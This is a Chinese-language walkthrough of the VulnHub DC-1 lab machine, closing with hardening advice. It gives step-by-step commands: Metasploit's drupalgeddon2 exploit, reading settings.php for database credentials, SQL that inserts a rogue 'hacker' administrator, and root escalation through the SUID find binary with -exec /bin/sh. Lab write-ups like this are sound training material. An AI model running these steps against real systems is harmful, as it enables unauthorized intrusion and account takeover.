vulnhub靶机DC-1渗透分析
字数 1232 2025-08-15 21:31:25
DC-1 靶机渗透测试详细教程
1. 信息收集阶段
1.1 网络扫描
首先使用 arp-scan 工具扫描本地网络,发现目标靶机IP地址:
sudo arp-scan -l
发现靶机IP为 192.168.100.146
1.2 端口扫描
使用 nmap 进行全端口扫描:
nmap 192.168.100.146 -p 1-65535
扫描结果显示开放了22端口(SSH服务)和80端口(HTTP服务)
1.3 Web目录扫描
尝试使用 dirb 进行目录扫描:
dirb http://192.168.100.146 /usr/share/dirb/wordlists/common.txt
但扫描结果没有发现特别有用的信息。
1.4 CMS识别
直接访问网站主页,发现网站使用的是Drupal内容管理系统(CMS)。
2. 漏洞利用阶段
2.1 查找Drupal漏洞
由于已知目标使用Drupal CMS,可以在Metasploit中搜索相关漏洞:
- 启动Metasploit框架:
msfconsole - 搜索Drupal相关漏洞:
search drupal
选择一个check值为"yes"、rank值较高且年代较近的漏洞利用模块。
2.2 配置并执行漏洞利用
选择适当的Drupal漏洞利用模块后,进行配置:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.100.146
exploit
成功利用后获得一个基本的shell会话。
2.3 提升shell交互性
为了获得更好的交互体验,设置Python伪终端:
python -c 'import pty;pty.spawn("/bin/bash")'
3. 权限提升与Flag获取
3.1 寻找第一个Flag
在系统中搜索flag文件:
find / -name "*flag*" -type f 2>/dev/null
找到flag1文件,查看内容:
cat /path/to/flag1
flag1内容提示:"每一个好的CMS都需要一个配置文件,包括你。"
3.2 查找配置文件
根据提示查找Drupal的配置文件:
find / -name "settings.php" 2>/dev/null
找到Drupal的配置文件,查看内容:
cat /path/to/settings.php
在配置文件中发现flag2,同时找到数据库的用户名和密码。
3.3 数据库访问
使用找到的数据库凭据登录MySQL:
mysql -u username -p
输入密码后进入MySQL交互界面。
查看Drupal数据库中的用户表:
use drupaldb;
select * from users;
发现用户密码是加密的,无法直接使用。
3.4 添加管理员用户
利用Drupal的漏洞添加一个新的管理员用户:
- 在Metasploit中查找Drupal用户添加漏洞
- 使用适当的模块添加新用户
或者直接在数据库中插入新用户:
INSERT INTO users (uid, name, pass, mail, status) VALUES (999, 'hacker', '$S$DrYKnRq3LZPjSRl0Xj24q9rCHudQnNqovzw3UO4VnN9L2SNvUQd0', 'hacker@example.com', 1);
INSERT INTO users_roles (uid, rid) VALUES (999, 3);
3.5 获取flag3
使用新添加的管理员账户登录Drupal后台,在内容中找到flag3。
flag3提示:"需要特殊的PERM才能找到密码,但你需要exec去找到shadow..."
3.6 提权操作
查找具有特殊权限的文件:
find / -perm -4000 2>/dev/null
使用find命令进行提权:
find ./ aaa -exec '/bin/sh' \;
成功获得root权限后,查找最终flag:
ls /root
cat /root/thefinalflag
4. 总结
本次渗透测试的关键步骤:
- 通过信息收集发现目标运行Drupal CMS
- 利用Drupal已知漏洞获取初始shell访问
- 通过配置文件泄露获取数据库凭据
- 数据库操作添加管理员账户
- 利用setuid程序和find命令进行权限提升
- 最终获取root权限和所有flag
5. 安全建议
- 及时更新CMS系统和插件
- 配置文件不应包含敏感信息或应设置适当权限
- 限制数据库用户的权限
- 定期审计系统上的setuid程序
- 实施最小权限原则